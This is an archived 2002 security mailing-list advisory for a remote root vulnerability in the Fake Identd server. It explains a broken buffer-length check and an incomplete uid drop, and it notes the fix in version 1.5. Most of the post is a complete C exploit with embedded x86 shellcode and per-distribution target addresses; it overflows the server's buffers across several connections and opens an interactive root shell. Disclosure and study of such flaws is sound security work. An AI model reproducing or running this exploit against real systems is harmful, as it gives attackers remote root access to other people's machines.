Fake Identd - Remote root exploit

From: Jedi/Sector One (jat_private)
Date: Mon Jul 29 2002 - 12:35:55 PDT

  • Next message: H D Moore: "Re: [VulnWatch] KDE 2/3 artsd 1.0.0 local root exploit"

    Date: 07/29/2002
    Product: fakeidentd
    Summary: remote root exploit
    
    
    
         ----------------------------[ Overview ]----------------------------
         
      Fake Identd is a small standalone ident server with static replies. It is
    designed to be suitable for firewalls, IP masquerading hosts, etc.
    
    Documentation : http://iki.fi/too/sw/identd.readme
    Source code   : http://iki.fi/too/sw/releases/identd.c
    
      ----------------------------[ Vulnerability ]----------------------------
      
      Client queries are stored in small static global 20-bytes buffers. The
    related code section is similar to :
    
      len = 0;
      for(;;) {  
        if ((l = read(s, buf + len, sizeof buf)) > 0) {
          if (query_looks_valid(buf)) {
            reply(s, buf);
           }
        } else if (len + l == sizeof buf) {
           goto abort;
        } else {
          len += l;
        }             
      }
      
      The buffer boundary check is obviously broken. But splitting the data into
    two or more packets, the (len + l == sizeof buf) assertion can easily be
    bypassed.
    
      Additionnaly, the reply() function calls the fdprintf() function that
    features yet another fixed buffer with no boundary check. This buffer is
    filled with the content of a global pointer (identuser) whoose value can be
    tweaked using the previous vulnerability.
    
      To reduce the impact of a possible vulnerability, Fake Identd switches to
    user/group 'nobody'. Unfortunately, even the uid switching part is broken.
    The effective uid/gid are dropped (sete[gu]id() calls), but the real uid/gid
    are still 0/0.
    
         ----------------------------[ Impact ]----------------------------
         
      Arbitrary commands can be run with root privileges.
      This vulnerability is remotely exploitable.
      
      All Fake Identd versions prior to 1.5 are vulnerable on most Unix-like
    systems.
    
       ----------------------------[ Workarounds ]----------------------------
       
      None.       
      
          ----------------------------[ Fixes ]----------------------------
          
      Tomi Ollila, author and maintainer of Fake Identd, just released a new
    version (1.5) in order to fix these vulnerabilities.
    
      The new version is freely downloadable from the following location :
    
                       http://iki.fi/too/sw/releases/identd.c
                       
      Gentoo Linux shipped a 'portage' package of Fake Identd. That package has
    been removed from the distribution.                   
      
         ----------------------------[ Exploit ]----------------------------
    
      Linux exploit, thanks to Core, Sloth and Solar Eclipse [0dd] .
    
    /* lameident3-exp.c - slothat_private - http://www.nopninjas.com
     *   this should work for most Linux distributions without needing
     *   any modifications
     *
     * fakeidentd exploit 3rd revision.
     * v1.4 http://software.freshmeat.net/projects/fakeidentd/
     * v1.2 http://hangout.de/fakeidentd/ 
     * 
     * vuln found by Jedi/Sector One
     * Other people who worked on the same bug and shared ideas:
     *   Charles "core" Stevenson, Solar Eclipse
     * 
     * 7/25/02
     * 
     * Collaborative effort via the [0dd] list. Thanks to Charles Stevenson for 
     * running it.
     *
     * 0dd, irc.pulltheplug.com, b0red
     */
    
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    
    #define     ALIGN 1   /* you probably dont need to touch this */
    #define IDENTPORT 113
    #define    USLEEP 200 /* delays the send()'s to avoid "broken pipe" errors */
    
    #ifdef DEBUG
      #define DUPFD "\x04"
    #else
      #define DUPFD "\x02"
    #endif
    
    /* dup() shellcode from Charles Stevenson <coreat_private> */
    char lnx86_dupshell[]=
      "\x31\xc9\xf7\xe1\x51\x5b\xb0\xa4\xcd\x80\x31\xc9\x6a" DUPFD
      "\x5b\x6a\x3f\x58\xcd\x80\x41\x6a\x3f\x58\xcd\x80\x41\x6a\x3f"
      "\x58\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
      "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
      "\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
    
    struct Targets {
      char *name;
      long baseaddr;
      char *shellcode;
    };
    
    struct Targets target[] = {
      { "  gcc-2.91.66  x86\n"
        "    * Slackware 7.1\n"
        "    *    RedHat 6.2\n",
        0x0804b0a0, lnx86_dupshell },
      { "  gcc-2.95.3/4 x86\n"
        "    * Slackware 8.1\n"
        "    *    Debian 3.0\n", 
        0x0804a260, lnx86_dupshell },
      { (char *)0, 0, (char *)0 }
    };
    
    void sh(int sockfd);
    int max(int x, int y);
    
    void fail(char *reason) {
      printf("exploit failed: %s\n", reason);
      exit(-1);
    }
    
    long resolve(char *host) {
      struct in_addr ip;
      struct hostent *he;
    
      if((ip.s_addr = inet_addr(host)) == -1) {
        if(!(he = gethostbyname(host)))
          return(-1);
        else
          memcpy(&ip.s_addr, he->h_addr, 4);
      }
      return(ip.s_addr);
    }
    
    int make_connect(struct in_addr host) {
      int s;
      struct sockaddr_in sin;
     
      memset(&sin, 0, sizeof(sin));
      sin.sin_family        = AF_INET;
      sin.sin_port          = htons(IDENTPORT);
      sin.sin_addr.s_addr   = host.s_addr;
    
      if((s = socket(AF_INET, SOCK_STREAM, 0)) <= 0)
        fail("could not create socket");
    
      if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0)
        fail("could not connect\n");
    
      return(s);
    }
    
    int main(int argc, char *argv[]) {
      int s, a, uwait = USLEEP, nops = 500;
      long baseaddr;
      long shelladdr = 0xbfffa090;     
      long pointaddr = 0;
      char buf1[2020], buf2[32], *p, *shellcode;
      struct in_addr host;
    
      printf("lameident3-exp.c by sloth @ b0red\n");
    
      if(argc<3) {
        printf("usage: ./lameident3-exp <target> <host> <send delay in ms>\n");
        for(a=0;target[a].baseaddr;a++)
          printf("  %d: %x %s", a, target[a].baseaddr, target[a].name);
        exit(-1);
      }
    
      for(a=0;a<atoi(argv[1]);a++)
        if(!target[a].baseaddr)
          fail("invalid target");
    
      baseaddr  = target[a].baseaddr;
      shellcode = target[a].shellcode;
      if(argv[3]) uwait = atoi(argv[3]);
    
      if((host.s_addr = resolve(argv[2])) == -1)
        fail("invalid host");
    
      memset(buf1, 0, sizeof(buf1));
      memset(buf1, 0x90, sizeof(buf1)-strlen(shellcode)-1);
      memcpy(&buf1[(sizeof(buf1)-strlen(shellcode)-1)],shellcode,strlen(shellcode));
    
      s = make_connect(host);
    
      send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);
      usleep(uwait);
    
      memset(buf2, 0, sizeof(buf2)); 
      buf2[0] = 'A';
      *(long *)&buf2[1] = shelladdr - baseaddr - 5;
    
      send(s, buf2, 5, 0);
      usleep(uwait);
    
      p = buf1;
      printf("Writing shellcode: %d bytes to 0x%x...\n", strlen(buf1), shelladdr);
    
      for(a=0;a<=strlen(buf1), *p;) {
    
        if((a = send(s, p, strlen(p) > 19 ? 19 : strlen(p), 0)) == -1)
          fail("write error");
    
        p += a;
        usleep(uwait);
    
      }
    
      close(s);
      usleep(100);
    
    
      s = make_connect(host);
    
      send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);
      usleep(uwait);
    
      memset(buf2, 0, sizeof(buf2));
      buf2[0] = 'A';
      *(long *)&buf2[1] = shelladdr - baseaddr + strlen(buf1) + 20 - 5;
    
      send(s, buf2, 5, 0);
      usleep(uwait);
    
      p = buf1;
      pointaddr = shelladdr + strlen(buf1) + 20;
      printf("Writing pointers to 0x%x\n", pointaddr);
    
      memset(buf1, 0, sizeof(buf1));
      for(a=0;a<=512;a += 4) 
        *(long *)&buf1[a] = shelladdr + 500;
     
      for(a=0;a<=strlen(buf1), *p;) {
    
        if((a = send(s, p, strlen(p) > 19 ? 19 : strlen(p), 0)) == -1)
          fail("write error");
    
        p += a;
        usleep(uwait);
    
      }
    
      close(s);
      usleep(uwait);
    
    
      s = make_connect(host);
    
      send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);
      usleep(uwait);
    
      memset(buf2, 0, sizeof(buf2));
      buf2[0] = 'A';
      *(long *)&buf2[1] = 0xffffffff - 0x9f - 5;
    
      send(s, buf2, 5, 0);
      usleep(uwait);
    
      memset(buf2, 0, sizeof(buf2));
      *(long *)&buf2[0] = pointaddr + 200 + ALIGN;
    
      send(s, buf2, 4, 0);
    
      close(s);
      usleep(uwait);
    
    
      s = make_connect(host);
    
      send(s, "1234, 1234\n", 11, 0);
      usleep(uwait);
    
      printf("here comes the root shell!\n");
      sh(s);
    
      close(s); 
    }
    
    /* mixters */
    int max(int x, int y) {
      if(x > y)
        return(x);
      return(y);
    }
    
    /* mixters sh() */
    void sh(int sockfd) {
      char snd[1024], rcv[1024];
      fd_set rset;
      int maxfd, n;
    
      strcpy(snd, "uname -a; pwd; id;\n");
      write(sockfd, snd, strlen(snd));
    
      for(;;) {
        FD_SET(fileno(stdin), &rset);
        FD_SET(sockfd, &rset);
        maxfd = max(fileno(stdin), sockfd) + 1;
        select(maxfd, &rset, NULL, NULL, NULL);
        if(FD_ISSET(fileno(stdin), &rset)){
          bzero(snd, sizeof(snd));
          fgets(snd, sizeof(snd)-2, stdin);
          write(sockfd, snd, strlen(snd));
        }
        if(FD_ISSET(sockfd, &rset)){
          bzero(rcv, sizeof(rcv));
          if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
            printf("EOF.\n");
            exit(0);
          }
          if(n < 0)
            fail("could not spawn shell");
          fputs(rcv, stdout);
        }
      }
    }          
    
    -- 
     __  /*-      Frank DENIS (Jedi/Sector One) <j@42-Networks.Com>     -*\  __
     \ '/    <a href="http://www.PureFTPd.Org/"> Secure FTP Server </a>    \' /
      \/  <a href="http://www.Jedi.Claranet.Fr/"> Misc. free software </a>  \/
    



    This archive was generated by hypermail 2b30 : Mon Jul 29 2002 - 15:06:46 PDT